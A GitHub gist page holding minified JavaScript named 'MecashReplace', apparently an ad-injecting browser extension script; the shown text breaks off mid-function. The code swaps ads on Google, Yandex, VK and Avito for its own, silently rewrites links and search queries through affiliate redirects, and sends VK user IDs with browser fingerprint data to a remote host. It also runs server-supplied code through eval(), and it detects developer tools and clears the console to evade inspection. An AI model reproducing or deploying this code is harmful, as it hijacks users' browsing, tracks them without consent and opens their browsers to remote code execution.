Created
December 26, 2016 12:20
-
-
Save gilligan/112dd1304daae4aa8f22a71db941460a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ! function(window, document) { | |
| var localStorage = window.localStorage; | |
| if (!window.MecashReplace) { | |
| var a = document.createElement("a"), | |
| noop = function() {}, | |
| Event = function() { | |
| function e(e) { | |
| if (e = e || window.event, e.isFixed) return e; | |
| if (e.isFixed = !0, e.preventDefault = e.preventDefault || function() { | |
| this.returnValue = !1 | |
| }, e.stopPropagation = e.stopPropagaton || function() { | |
| this.cancelBubble = !0 | |
| }, e.target || (e.target = e.srcElement), !e.relatedTarget && e.fromElement && (e.relatedTarget = e.fromElement == e.target ? e.toElement : e.fromElement), null == e.pageX && null != e.clientX) { | |
| var t = document.documentElement, | |
| r = document.body; | |
| e.pageX = e.clientX + (t && t.scrollLeft || r && r.scrollLeft || 0) - (t.clientLeft || 0), e.pageY = e.clientY + (t && t.scrollTop || r && r.scrollTop || 0) - (t.clientTop || 0) | |
| } | |
| return !e.which && e.button && (e.which = 1 & e.button ? 1 : 2 & e.button ? 3 : 4 & e.button ? 2 : 0), e | |
| } | |
| function t(t) { | |
| t = e(t); | |
| var r = this.events[t.type]; | |
| for (var a in r) | |
| if (r.hasOwnProperty(a)) { | |
| var n = r[a], | |
| o = n.call(this, t); | |
| o === !1 && (t.preventDefault(), t.stopPropagation()) | |
| } | |
| } | |
| function r(e) { | |
| return function(t) { | |
| for (var r = t.relatedTarget; r && r !== this;) r = r.parentNode; | |
| if (r != this) return e.call(this, t) | |
| } | |
| } | |
| function a(e) { | |
| return function(t) { | |
| for (var r = t.relatedTarget; r && r !== this;) r = r.parentNode; | |
| if (r != this) return e.call(this, t) | |
| } | |
| } | |
| var n = 0; | |
| return { | |
| add: function(e, o, i) { | |
| e.setInterval && e != window && !e.frameElement && (e = window), i.guid || (i.guid = ++n), e.events || (e.events = {}, e.handle = function(r) { | |
| return "undefined" != typeof Event && t.call(e, r) | |
| }); | |
| var c = i, | |
| s = o; | |
| "mouseenter" === o ? (s = "mouseover", c = a(i)) : "mouseleave" === o && (s = "mouseout", c = r(i)), e.events[s] || (e.events[s] = {}, e.addEventListener ? e.addEventListener(s, e.handle, !1) : e.attachEvent && e.attachEvent("on" + s, e.handle)), e.events[s][i.guid] = c | |
| }, | |
| remove: function(e, t, r) { | |
| var a = e.events && e.events[t]; | |
| if (a && (delete a[r.guid], util.empty(a) && (e.removeEventListener ? e.removeEventListener(t, e.handle, !1) : e.detachEvent && e.detachEvent("on" + t, e.handle), delete e.events[t], util.empty(e.events)))) try { | |
| delete e.handle, delete e.events | |
| } catch (t) { | |
| e.removeAttribute("handle"), e.removeAttribute("events") | |
| } | |
| } | |
| } | |
| }(), | |
| util = { | |
| whitespace: "[\\x20\\t\\r\\n\\f]", | |
| trim: function(e) { | |
| var t = new RegExp("^" + util.whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + util.whitespace + "+$", "g"); | |
| return null == e ? "" : (e + "").replace(t, "") | |
| }, | |
| toArray: function(e) { | |
| return Array.prototype.slice.call(e) | |
| }, | |
| isString: function(e) { | |
| return "string" == typeof e | |
| }, | |
| isArray: function(e) { | |
| return Array.isArray ? Array.isArray(e) : "[object Array]" == Object.toString(e) | |
| }, | |
| isFrame: function() { | |
| return window.self != window.top | |
| }, | |
| empty: function(e) { | |
| if (!e) return !0; | |
| if (util.isArray(e) || util.isString(e)) return 0 === e.length; | |
| for (var t in e) | |
| if (e.hasOwnProperty(t)) return !1; | |
| return !0 | |
| }, | |
| keys: function(e) { | |
| var t = []; | |
| for (var r in e) e.hasOwnProperty(r) && t.push(r); | |
| return t | |
| }, | |
| each: function(e, t, r) { | |
| if (e) | |
| if (e.length === +e.length) { | |
| for (var a = 0, n = e.length; a < n; a++) | |
| if (!1 === t.call(r, e[a], a, e)) return | |
| } else | |
| for (var o in e) | |
| if (e.hasOwnProperty(o) && !1 === t.call(r, e[o], o, e)) return | |
| }, | |
| extend: function(e) { | |
| return e = e || {}, util.each(util.toArray(arguments).slice(1), function(t) { | |
| util.each(t, function(t, r) { | |
| e[r] = t | |
| }) | |
| }), e | |
| }, | |
| shuffle: function(e) { | |
| for (var t = e.length; t;) { | |
| var r = Math.floor(Math.random() * t), | |
| a = e[--t]; | |
| e[t] = e[r], e[r] = a | |
| } | |
| return e | |
| }, | |
| toParams: function(e) { | |
| var t, r, a = [], | |
| n = function(e, t) { | |
| var r, a = []; | |
| if (t === !0 ? t = "1" : t === !1 && (t = "0"), "function" == typeof t && (t = t()), null !== t && "object" == typeof t) { | |
| for (r in t) t.hasOwnProperty(r) && null !== t[r] && a.push(n(e + "[" + r + "]", t[r])); | |
| return a.join("&") | |
| } | |
| if ("function" != typeof t) return encodeURIComponent(e) + "=" + encodeURIComponent(t); | |
| throw new Error | |
| }; | |
| for (r in e) | |
| if (e.hasOwnProperty(r)) { | |
| t = e[r]; | |
| var o = n(r, t); | |
| o && a.push(o) | |
| } | |
| return a.join("&") | |
| }, | |
| ajax: function(e) { | |
| e = util.extend({ | |
| dataType: "json", | |
| contentType: "application/x-www-form-urlencoded", | |
| charset: "utf-8" | |
| }, e); | |
| var t = function(t) { | |
| t && r.setRequestHeader("Content-type", e.contentType + "; charset=" + e.charset) | |
| }; | |
| switch (e.contentType) { | |
| case "application/x-www-form-urlencoded": | |
| e.data = util.toParams(e.data || {}); | |
| break; | |
| case "application/json": | |
| e.data = JSON.stringify(e.data) | |
| } | |
| e.async = e.async || !0; | |
| var r = util.prepareRequest(e); | |
| "POST" === e.type ? (r.open("POST", e.url, e.async), t(1), r.send(e.data)) : (r.open("GET", e.url + (util.empty(e.data) ? "" : (e.url.match(/\?/) ? "&" : "?") + e.data), e.async), t(), r.send(null)) | |
| }, | |
| prepareRequest: function(e) { | |
| var t; | |
| if (window.XMLHttpRequest) t = new XMLHttpRequest, t.overrideMimeType && t.overrideMimeType("text/html"); | |
| else if (window.ActiveXObject) try { | |
| t = new ActiveXObject("Msxml2.XMLHTTP") | |
| } catch (e) { | |
| try { | |
| t = new ActiveXObject("Microsoft.XMLHTTP") | |
| } catch (e) {} | |
| } | |
| if (!t) throw new Error("Could not create a XMLHttpRequest instance."); | |
| return Event.add(t, "readystatechange", function() { | |
| switch (t.readyState) { | |
| case 1: | |
| (e.load || noop)(); | |
| break; | |
| case 4: | |
| var r = t.responseText; | |
| if ("json" === e.dataType) try { | |
| r = JSON.parse(r) | |
| } catch (e) {} | |
| t.status > 199 && t.status < 300 || 304 === t.status ? (e.success || noop)(r, t) : (e.error || noop)(r, t) | |
| } | |
| e.always = e.always || noop; | |
| try { | |
| e.always(t.readyState, t.status, r) | |
| } catch (r) { | |
| e.always(t.readyState) | |
| } | |
| }), t.withCredentials = !0, t | |
| }, | |
| scheme: function() { | |
| return MecashReplaceConfig.scheme || ("https:" == document.location.protocol ? "https://" : "http://") | |
| }, | |
| error: function(e) { | |
| throw new Error("MecashReplace: " + e) | |
| }, | |
| css: function(e, t) { | |
| util.extend(e.style, t) | |
| }, | |
| offset: function(e) { | |
| for (var t = 0, r = 0; e;) t += e.offsetTop || 0, r += e.offsetLeft || 0, e = e.offsetParent; | |
| return { | |
| top: t, | |
| left: r | |
| } | |
| }, | |
| bind: function(e, t) { | |
| var r, a, n = Array.prototype.slice; | |
| return r = n.call(arguments, 2), a = function() { | |
| if (!(this instanceof a)) return e.apply(t, r.concat(n.call(arguments))); | |
| noop.prototype = e.prototype; | |
| var o = new noop; | |
| noop.prototype = null; | |
| var i = e.apply(o, r.concat(n.call(arguments))); | |
| return Object(i) === i ? i : o | |
| } | |
| }, | |
| getDomainByUrl: function(e) { | |
| return a.href = e, util.getDomain(a) | |
| }, | |
| getDomain: function(e) { | |
| return e.hostname.toLowerCase().replace(/^www\./, "") | |
| }, | |
| getRealDomain: function(e) { | |
| return util.getDomainByUrl(util.getRealHref(e)) | |
| }, | |
| getRealHref: function(e) { | |
| var t = util.getDomain(e); | |
| return -1 !== ["google.ru", "google.com", "yabs.yandex.ru"].indexOf(t) && e.getAttribute ? e.getAttribute("data-href") : e.href | |
| }, | |
| getBaseRealHref: function(e) { | |
| a.href = util.getRealHref(e); | |
| var t = util.getDomain(a), | |
| r = ""; | |
| return -1 !== ["realty.yandex.ru", "plarium.com", "espritgames.ru", "101xp.com", "promo.101xp.com"].indexOf(t) && (r = a.pathname), t + r | |
| }, | |
| now: function() { | |
| return (new Date).getTime() | |
| }, | |
| filterMarkItems: function(e, t) { | |
| if (!e) return []; | |
| for (var r = [], a = 0; a < e.length; a++) { | |
| var n = e[a]; | |
| n.getAttribute("data-" + t) != t && r.push(n) | |
| } | |
| return r | |
| }, | |
| markItem: function(e, t) { | |
| return e.setAttribute("data-" + t, t), e | |
| } | |
| }, | |
| core = { | |
| start: util.now(), | |
| runTimeout: null, | |
| progress: !1, | |
| initialized: !1, | |
| dt: !1, | |
| checkDT: function() { | |
| var e = new Image, | |
| t = function() { | |
| clearInterval(a), core.dt || ((new Image).src = util.scheme() + MecashReplaceConfig.ad_host + "/replacement/dt?r=" + Math.random()), core.dt = !0 | |
| }; | |
| e.__defineGetter__("id", t); | |
| var r = function() { | |
| return window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized ? void t() : (console.log(e), void setTimeout(function() { | |
| core.dt || console.clear() | |
| }, 100)) | |
| }, | |
| a = setInterval(r, 1e3); | |
| r() | |
| }, | |
| getRunningTime: function() { | |
| return util.now() - core.start | |
| }, | |
| addExtensionQueryPart: function(e) { | |
| var t; | |
| return t = MecashReplaceConfig.eid ? { | |
| ext: MecashReplaceConfig.eid | |
| } : MecashReplaceConfig.extension_id ? { | |
| ext: MecashReplaceConfig.extension_id | |
| } : { | |
| place: MecashReplaceConfig.replace_id | |
| }, MecashReplaceConfig.subid && (t.subid = MecashReplaceConfig.subid), util.extend(t, e) | |
| }, | |
| post: function(e, t, r) { | |
| t = core.addExtensionQueryPart(t), util.ajax({ | |
| type: "POST", | |
| url: util.scheme() + MecashReplaceConfig.ad_host + e, | |
| contentType: "application/json", | |
| data: t, | |
| success: r || noop | |
| }) | |
| }, | |
| ping: function() { | |
| var params = { | |
| page: document.location.href, | |
| frame: util.isFrame() | |
| }; | |
| util.ajax({ | |
| url: util.scheme() + MecashReplaceConfig.ad_host + "/replacement/ping", | |
| data: core.addExtensionQueryPart(params), | |
| success: function(code) { | |
| eval(code) | |
| } | |
| }) | |
| }, | |
| getPageHostname: function() { | |
| return document.location.hostname.replace(/^www\./, "") | |
| }, | |
| vk: function() { | |
| if ("vk.com" === core.getPageHostname()) { | |
| var e = "_ym_vk_ts", | |
| t = window.vk && window.vk.id; | |
| if (!t) { | |
| var r = document.getElementById("queue_storage_frame"); | |
| if (r) { | |
| var a = r.src.match(/\d+$/); | |
| a && (t = parseInt(a[0])) | |
| } | |
| } | |
| if (!t) return void setTimeout(util.bind(core.vk, core), 1e3); | |
| if (!(localStorage[e] && localStorage[e] > Date.now() - 6048e5)) { | |
| localStorage[e] = Date.now(); | |
| var n = { | |
| loc: "", | |
| ref: "", | |
| ua: "", | |
| currentTimeZoneOffsetInHours: "", | |
| lng: "", | |
| wh: "", | |
| request_id: "", | |
| initWindowWidthHeight: function() { | |
| try { | |
| n.wh = window.screen.width + "x" + window.screen.height | |
| } catch (e) {} | |
| }, | |
| initLanguage: function() { | |
| try { | |
| var e = navigator.browserLanguage || navigator.language || navigator.userLanguage; | |
| n.lng = encodeURIComponent(e) | |
| } catch (e) {} | |
| }, | |
| initTimezone: function() { | |
| try { | |
| var e = new Date; | |
| n.currentTimeZoneOffsetInHours = -e.getTimezoneOffset() / 60 | |
| } catch (e) {} | |
| }, | |
| initLocation: function() { | |
| try { | |
| n.loc = encodeURIComponent(window.location.toString()) | |
| } catch (e) {} | |
| }, | |
| initReferrer: function() { | |
| try { | |
| n.ref = encodeURIComponent(document.referrer.toString()) | |
| } catch (e) {} | |
| }, | |
| initUserAgent: function() { | |
| try { | |
| n.ua = encodeURIComponent(navigator.userAgent.toString()).substr(0, 200) | |
| } catch (e) {} | |
| }, | |
| init: function() { | |
| n.initWindowWidthHeight(), n.initLanguage(), n.initLocation(), n.initReferrer(), n.initUserAgent(), n.initTimezone() | |
| } | |
| }; | |
| n.init(), (new Image).src = util.scheme() + MecashReplaceConfig.ad_host + "/uid/vk?" + util.toParams({ | |
| id: t, | |
| loc: n.loc, | |
| ref: n.ref, | |
| ua: n.ua, | |
| wh: n.wh, | |
| tz: n.currentTimeZoneOffsetInHours, | |
| lng: n.lng | |
| }) | |
| } | |
| } | |
| }, | |
| init: function() { | |
| if (!document.body) return void setTimeout(util.bind(core.init, core), 10); | |
| if (!this.initialized) { | |
| if (core.checkConfiguration(), this.initialized = !0, core.checkDT(), core.vk(), window.MutationObserver) { | |
| var e = core.getPageHostname(), | |
| t = { | |
| "yandex.ru": [/\bcontent__left\b/, /\bsuggest2\b/], | |
| "yandex.ua": [/\bcontent__left\b/, /\bsuggest2\b/], | |
| "google.com": [/\bcontent\b/, /\btsf\b/], | |
| "google.com.ua": [/\bcontent\b/, /\btsf\b/], | |
| "google.ru": [/\bcontent\b/, /\btsf\b/] | |
| }; | |
| if (t.hasOwnProperty(e)) { | |
| var r = t[e], | |
| a = new window.MutationObserver(function(e) { | |
| for (var t = !0, a = 0; a < e.length; a++) | |
| for (var n = e[a].target; n;) { | |
| for (var o = 0; o < r.length; o++) r[o].test(n.className) && (t = !1); | |
| n = n.parentNode | |
| } | |
| t || core.progress || (clearTimeout(core.runTimeout), core.runTimeout = setTimeout(util.bind(core.run, core, document.body), 500)) | |
| }); | |
| a.observe(document.body, { | |
| childList: !0, | |
| subtree: !0 | |
| }) | |
| } | |
| } | |
| setInterval(util.bind(core.replaceBanners, core), 1e3), setInterval(util.bind(core.replaceTeasers, core), 1e3), core.exec(function() { | |
| core.run(document.body) | |
| }), "complete" !== document.readyState && Event.add(window, "load", function() { | |
| core.exec(function() { | |
| core.run(document.body) | |
| }) | |
| }) | |
| } | |
| }, | |
| replaceSE: function() { | |
| localStorage.seReplace && Date.now() - localStorage.seReplace < 864e5 || setInterval(function() { | |
| var e, t, r = document.location, | |
| a = r.pathname, | |
| n = r.hostname; | |
| r.href; | |
| if ("/search" == a && "go.mail.ru" == n) { | |
| if (t = document.getElementById("q"), !t) return; | |
| e = "http://go.mail.ru/search?" + util.toParams({ | |
| q: t.value, | |
| gp: 818002, | |
| frc: 818002 | |
| }) | |
| } | |
| if ("/search/" == a && "www.yandex.ru" == n && 109 == MecashReplaceConfig.eid) { | |
| if (t = document.querySelector("input[name=text]"), !t) return; | |
| if (Math.random() > .1) return void(localStorage.seReplace = Date.now()); | |
| e = "https://www.yandex.ru/search/?" + util.toParams({ | |
| text: t.value, | |
| clid: 2283095 | |
| }) | |
| } | |
| e && (localStorage.seReplace = Date.now(), document.location.href = "http://" + MecashReplaceConfig.ad_host + "/go?" + util.toParams({ | |
| url: e | |
| })) | |
| }, 1e3) | |
| }, | |
| exec: function(e) { | |
| try { | |
| e() | |
| } catch (e) { | |
| (new Image).src = "//" + MecashReplaceConfig.ad_host + "/replacement/error?" + util.toParams({ | |
| message: e.message, | |
| stack: e.stack | |
| }), console.error(e) | |
| } | |
| }, | |
| replaceTeasers: function() { | |
| if (core.isModuleEnabled("teaser")) switch (core.getPageHostname()) { | |
| case "google.ru": | |
| case "google.com": | |
| case "google.com.ua": | |
| this.replaceGoogleTeasers(); | |
| break; | |
| case "yandex.ru": | |
| case "yandex.ua": | |
| "/search/" == document.location.pathname && this.replaceYandexTeasers(); | |
| break; | |
| case "avito.ru": | |
| this.replaceAvitoTeasers(); | |
| break; | |
| default: | |
| this.searchAndReplaceTeaserBlocks() | |
| } | |
| }, | |
| loadTeasers: function(e, t, r) { | |
| var a = [], | |
| n = [core.loadMecashTeasers]; | |
| core.loadTeasersChain(e, t, r, a, n, 0) | |
| }, | |
| loadTeasersChain: function(e, t, r, a, n, o) { | |
| var i = n[o]; | |
| i.call(core, e - a.length, t, function(i) { | |
| return a = a.concat(i), o == n.length - 1 || a.length >= e ? void r(a) : void core.loadTeasersChain(e, t, r, a, n, ++o) | |
| }) | |
| }, | |
| loadMecashTeasers: function(e, t, r) { | |
| util.ajax({ | |
| type: "GET", | |
| url: util.scheme() + MecashReplaceConfig.ad_host + "/replacement/teasers?" + util.toParams(core.addExtensionQueryPart({ | |
| subid: t, | |
| count: e | |
| })), | |
| contentType: "application/json", | |
| success: function(e) { | |
| var t = []; | |
| e && e.teasers && (t = e.teasers), r(t) | |
| }, | |
| error: function() { | |
| r([]) | |
| } | |
| }) | |
| }, | |
| renderTeasers: function(e, t, r) { | |
| if (e && !e.getElementsByClassName("mecash-teaser").length) { | |
| var a = document.location.hostname, | |
| n = document.createElement("div"); | |
| n.className = "mecash-teaser", e.appendChild(n), this.loadTeasers(t, a, function(t) { | |
| if (t.length) { | |
| util.shuffle(t); | |
| for (var a = "", o = 0; o < t.length; o++) { | |
| var i = t[o]; | |
| a += r.replace(/#IMAGE#/g, i.image).replace(/#TITLE#/g, i.title).replace(/#TEXT#/g, i.text).replace(/#URL#/g, i.url) | |
| } | |
| e.innerHTML = a, e.appendChild(n) | |
| } | |
| }) | |
| } | |
| }, | |
| replaceVkTeasers: function() { | |
| var e = document.getElementById("left_ads"); | |
| this.renderTeasers(e, 3, '<div class="ads_ad_box ver repeat_ver size_site first"><a class="ads_ad_box2 ver repeat_ver size_site first" target="_blank" href="#URL#"><div class="ads_ad_text_box ver repeat_ver size_site"><div class="ads_ad_title_box ver repeat_ver"><div class="ads_ad_title ver repeat_ver" style="color: red">#TITLE#</div></div><div class="ads_ad_photo_box ver"><img class="ads_ad_photo ver" src="#IMAGE#" style="max-width: 90px"></div><div class="ads_ad_description ver">#TEXT#</div></div></a></div>') | |
| }, | |
| replaceOkTeasers: function() { | |
| var e = document.getElementsByClassName("trg-b-list")[0]; | |
| this.renderTeasers(e, 3, '<li class="trg-b-banner"><a class="trg-b-all-in-link" href="#URL#" target="_blank"><span><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><span class="trg-b-header-wrapper"><a class="trg-b-header" href="#URL#" target="_blank">#TITLE#</a></span><img class="trg-b-img" src="#IMAGE#" border="0" style="width:90px;height:90px;"><span class="trg-b-text">#TEXT#</span></td></tr></tbody></table></span></a></li>') | |
| }, | |
| replaceYandexTeasers: function() { | |
| var e = document.getElementsByClassName("content__right")[0]; | |
| this.renderTeasers(e, 3, '<div class="serp-item clearfix serp-adv__item"> <h2 class="serp-item__title"> <a class="link serp-item__title-link" target="_blank" href="#URL#"><b>#TITLE#</b></a> </h2> <a href="#URL#" target="_blank"><img src="#IMAGE#" alt=""></a> <div class="serp-item__text"><a href="#URL#" target="_blank">#TEXT#</a></div> </div>') | |
| }, | |
| replaceGoogleTeasers: function() { | |
| var e = document.getElementById("rhs_block"); | |
| this.renderTeasers(e, 3, '<div class="ads-ad" style="width: 200px"> <h3><a href=#URL# target="_blank">#TITLE#‎</a></h3> <div><a href=#URL# target="_blank"><img src="#IMAGE#"></a></div> <div class="ads-creative">#TEXT#</div> </div>') | |
| }, | |
| replaceAvitoTeasers: function() { | |
| var e = document.getElementsByClassName("vips")[0]; | |
| this.renderTeasers(e, 3, '<div class="vip-item"><div class="vip-item__photo"><a href="#URL#" target="_blank"> <img src="#IMAGE#"> </a></div><div class="vip-item__description"> <h3 class="vip-item__header fader"><a href="#URL#" target="_blank">#TITLE#</a></h3><div class="vip-item__options"><div class="vip-item__option-row">#TEXT#</div></div></div></div>') | |
| }, | |
| replaceBanners: function() { | |
| if (core.isModuleEnabled("banner") && top == self) { | |
| for (var e = document.getElementsByTagName("div"), t = 0; t < e.length; t++) this.replaceBanner(e[t]); | |
| var r = document.getElementsByTagName("iframe"); | |
| for (t = 0; t < r.length; t++) this.replaceBanner(r[t]) | |
| } | |
| }, | |
| replaceBanner: function(e) { | |
| for (var t = e; t;) { | |
| if (t.mecashReplaced || t.getAttribute && t.getAttribute("data-mecash-adv") || t.style && "absolute" == t.style.position) return; | |
| t = t.parentNode | |
| } | |
| var r = ["240x400", "300x250", "728x90", "160x600"], | |
| a = e.offsetWidth, | |
| n = e.offsetHeight, | |
| o = a + "x" + n; - 1 !== r.indexOf(o) && (e.mecashReplaced = 1, util.ajax({ | |
| type: "GET", | |
| url: util.scheme() + MecashReplaceConfig.ad_host + "/replacement/banner?" + util.toParams(core.addExtensionQueryPart({ | |
| v: 2, | |
| width: a, | |
| height: n | |
| })), | |
| contentType: "application/json", | |
| success: function(t) { | |
| t && t.url && ("IFRAME" == e.tagName ? e.src = t.url : e.innerHTML = '<iframe src="' + t.url + '" width="' + a + '" height="' + n + '" frameborder="0" scrolling="no"></iframe>') | |
| } | |
| })) | |
| }, | |
| prepare: function() { | |
| if (document.querySelectorAll) switch (core.getPageHostname()) { | |
| case "yandex.ru": | |
| case "yandex.ua": | |
| this.prepareYandex(); | |
| break; | |
| case "google.ru": | |
| case "google.com": | |
| case "google.com.ua": | |
| this.prepareGoogle() | |
| } | |
| }, | |
| prepareYandex: function() { | |
| for (var e = document.querySelectorAll(".serp-adv-item"), t = 0; t < e.length; t++) { | |
| var r = e[t], | |
| a = r.querySelector(".serp-item__greenurl a") || r.querySelector(".organic__path a"); | |
| if (a) | |
| for (var n = a.textContent.toLowerCase(), o = r.querySelectorAll("a"), i = 0; i < o.length; i++) o[i].setAttribute("data-href", "http://" + n.split("/")[0]) | |
| } | |
| }, | |
| prepareGoogle: function() { | |
| for (var e = document.querySelectorAll(".ads-ad"), t = 0; t < e.length; t++) { | |
| var r = e[t], | |
| a = r.querySelector("cite"); | |
| if (a) | |
| for (var n = a.textContent.toLocaleLowerCase(), o = r.querySelectorAll("a"), i = 0; i < o.length; i++) o[i].setAttribute("data-href", "http://" + n) | |
| } | |
| }, | |
| run: function(e) { | |
| if (clearTimeout(core.runTimeout), -1 === ["vk.com", "youtube.com"].indexOf(core.getPageHostname()) && core.isModuleEnabled("replacement") && !util.isFrame()) { | |
| core.progress = !0, this.prepare(); | |
| var t = { | |
| url: document.location.href, | |
| urls: [], | |
| phrases: [] | |
| }; | |
| return MecashReplaceConfig.replaceSettings.domains && (t.urls = core.findUrls(e)), MecashReplaceConfig.replaceSettings.phrases && (t.phrases = core.findPhrases(e)), t.urls.length || t.phrases.length ? void core.post("/replacement/find", t, function(t) { | |
| core.dt || core.replaceUrls(e, t.urls), core.replacePhrases(e, t.phrases), setTimeout(function() { | |
| core.progress = !1 | |
| }, 10) | |
| }) : void(core.progress = !1) | |
| } | |
| }, | |
| findLinks: function(e) { | |
| for (var t = e.getElementsByTagName("A"), r = [], a = 0; a < t.length; a++) { | |
| var n = t[a]; | |
| n.hostname && util.getRealDomain(n) && r.push(n) | |
| } | |
| return r | |
| }, | |
| findUrls: function(e) { | |
| if (!e) return []; | |
| for (var t = {}, r = this.findLinks(e), a = 0; a < r.length; a++) { | |
| var n = util.getBaseRealHref(r[a]); | |
| t[n] = 1 | |
| } | |
| return util.keys(t) | |
| }, | |
| replaceUrls: function(e, t) { | |
| var r = {}; | |
| if (!e || !t) return r; | |
| for (var a = this.findLinks(e), n = 0; n < a.length; n++) { | |
| var o = a[n], | |
| i = util.getBaseRealHref(o); | |
| if (i && t.hasOwnProperty(i)) { | |
| var c = t[i], | |
| s = util.getRealHref(o); | |
| o.realHref = s, o.hiddenHref = core.buildClickLink(util.extend({}, c, { | |
| subid: MecashReplaceConfig.subid, | |
| href: s | |
| })), core.setClickHandler(o); | |
| var l = c.replacement; | |
| r[l] || (r[l] = 0), r[l]++ | |
| } | |
| } | |
| return r | |
| }, | |
| setClickHandler: function(e) { | |
| var t = e.onclick; | |
| e.onclick = function(r) { | |
| var a, n = core.handleClick(e); | |
| if ("function" == typeof t && (a = t(r)), n && !1 === a) return !1 | |
| } | |
| }, | |
| getPageBaseDomain: function() { | |
| for (var e = 0, t = document.domain, r = t.split("."), a = "_gd" + (new Date).getTime(); e < r.length - 1 && document.cookie.indexOf(a + "=" + a) == -1;) t = r.slice(-1 - ++e).join("."), document.cookie = a + "=" + a + ";domain=" + t + ";"; | |
| return document.cookie = a + "=;expires=Thu, 01 Jan 1970 00:00:01 GMT;domain=" + t + ";", t | |
| }, | |
| handleClick: function(e) { | |
| if (!e.hiddenHref) return !1; | |
| var t = e.href, | |
| r = util.getDomain(document.location); | |
| if (core.dt && e.realHref) return !1; | |
| var a = e.realHref && util.getDomainByUrl(e.realHref); | |
| if (a && (-1 !== r.indexOf(a) || -1 !== a.indexOf(r))) { | |
| var n = util.now(); | |
| if (!localStorage || localStorage._ym_ts && n - localStorage._ym_ts < 72e5 || n - core.start < 6e4) return !1; | |
| localStorage._ym_ts = util.now() | |
| } | |
| return e.href = e.hiddenHref, e.realHref && delete e.hiddenHref, setTimeout(function() { | |
| e.href = t | |
| }, 10), !0 | |
| }, | |
| isPhraseNodeAllowed: function(e) { | |
| if (!e.tagName) return !1; | |
| var t = ["AUDIO", "VIDEO", "IFRAME", "A", "IMG", "INPUT", "BUTTON", "SELECT", "OPTION", "SCRIPT", "META", "LINK", "STYLE", "NOSCRIPT", "HEADER", "FOOTER"]; | |
| if (t = t.concat(["LABEL", "H1", "H2", "H3", "H4", "H5", "H6"]), -1 !== t.indexOf(e.tagName.toUpperCase())) return !1; | |
| for (var r = ["ya-partner", "MecashReplace-exclude", "header"], a = 0; a < r.length; a++) | |
| if ("function" != typeof e.className.indexOf || e.className.match(new RegExp("\b" + r[a] + "\b"))) return !1; | |
| var n = ["header", "footer"]; | |
| for (a = 0; a < n.length; a++) | |
| if (e.id === n[a]) return !1; | |
| return !0 | |
| }, | |
| findPhraseNodes: function(e) { | |
| for (var t = [], r = [e]; r.length;) { | |
| var a = r.shift(); | |
| if (a.nodeType === Node.TEXT_NODE) { | |
| var n = util.trim(a.textContent); | |
| if (n.length > 2) { | |
| var o = core.extractWords(a.textContent); | |
| o.length && t.push([a, o]) | |
| } | |
| } else if (core.isPhraseNodeAllowed(a)) | |
| for (var i = 0, c = a.childNodes.length; i < c; i++) r.push(a.childNodes[i]) | |
| } | |
| return t | |
| }, | |
| findPhrases: function(e) { | |
| for (var t = [], r = 0, a = this.findPhraseNodes(e), n = 0; n < a.length; n++) { | |
| var o = a[n][1], | |
| i = []; | |
| util.each(o, function(e) { | |
| i.push(e.word) | |
| }); | |
| var c = i.join(" "); | |
| if (r += c.length, r > MecashReplaceConfig.replaceSettings.maxIndexLength) break; | |
| t.push(c) | |
| } | |
| return t | |
| }, | |
| replacePhrases: function(e, t) { | |
| var r = {}; | |
| if (!e || !t) return r; | |
| var a = this.doReplacePhrases(e, t); | |
| a = this.removeBadReplaces(e, a); | |
| for (var n = 0; n < a.length; n++) { | |
| var o = a[n].MecashReplaceMeta, | |
| i = o.phrase; | |
| r[i] = r[i] || 0, r[i]++ | |
| } | |
| return r | |
| }, | |
| doReplacePhrases: function(e, t) { | |
| var r = {}; | |
| util.each(t, function(e, t) { | |
| for (var a = core.extractWords(t), n = r, o = 0; o < a.length; o++) n.hasOwnProperty(a[o].word) || (n[a[o].word] = { | |
| parent: n | |
| }), n = n[a[o].word], o === a.length - 1 && (n.data = e) | |
| }); | |
| for (var a = core.findPhraseNodes(e), n = [], o = 0; o < a.length; o++) { | |
| for (var i, c = a[o][0], s = a[o][1], l = c.textContent, u = 0, d = 0; d < s.length;) { | |
| for (var f = d, h = r; f < s.length && h.hasOwnProperty(s[f].word);) h = h[s[f].word], f++; | |
| for (; h.parent && !h.data;) h = h.parent, f--; | |
| if (f <= d && !h.data) d++; | |
| else { | |
| i = l.slice(u, s[d].index), "" != i && c.parentNode.insertBefore(document.createTextNode(i), c); | |
| var p = s[f - 1].index + s[f - 1].word.length, | |
| g = l.slice(s[d].index, p), | |
| m = core.createPhraseLink(g, h); | |
| n.push(m), c.parentNode.insertBefore(m, c), u = p, d = f | |
| } | |
| } | |
| u > 0 && (c.textContent = l.slice(u)) | |
| } | |
| return n | |
| }, | |
| removeBadReplaces: function(e, t) { | |
| for (var r = Math.pow(MecashReplaceConfig.replaceSettings.minDistance, 2), a = [], n = [], o = [], i = 0; i < t.length; i++) { | |
| var c = t[i], | |
| s = util.offset(c); | |
| s.width = c.offsetWidth, s.height = c.offsetHeight; | |
| for (var l = !0, u = a.length - 1; u >= 0; u--) | |
| if (core.getDistance(a[u], s) < r) { | |
| l = !1; | |
| break | |
| } | |
| l ? (o.push(c), a.push(s)) : n.push(c) | |
| } | |
| for (i = 0; i < n.length; i++) c = n[i], c.parentNode.insertBefore(document.createTextNode(c.textContent), c), c.parentNode.removeChild(c); | |
| return o | |
| }, | |
| createPhraseLink: function(e, t) { | |
| var r = document.createElement("a"), | |
| a = util.extend({}, t.data, { | |
| subid: MecashReplaceConfig.subid, | |
| text: e | |
| }); | |
| return r.MecashReplaceMeta = a, util.extend(r, { | |
| rel: "nofollow", | |
| target: "_blank", | |
| className: "mecash-replace-link", | |
| textContent: e, | |
| href: t.data.link || "#", | |
| hiddenHref: core.buildClickLink(a) | |
| }), core.setClickHandler(r), util.css(r, { | |
| position: "relative", | |
| fontWeight: "bold" | |
| }), r | |
| }, | |
| extractWords: function(e) { | |
| var t, r = new RegExp("(?:[-._&]?[a-zа-ÑÑ‘0-9]+)+", "ig"), | |
| a = []; | |
| for (a.wordsLength = 0; t = r.exec(e);) a.push({ | |
| word: t[0].toLowerCase(), | |
| text: t[0], | |
| index: t.index | |
| }), a.wordsLength += t[0].length; | |
| return a | |
| }, | |
| buildClickLink: function(e) { | |
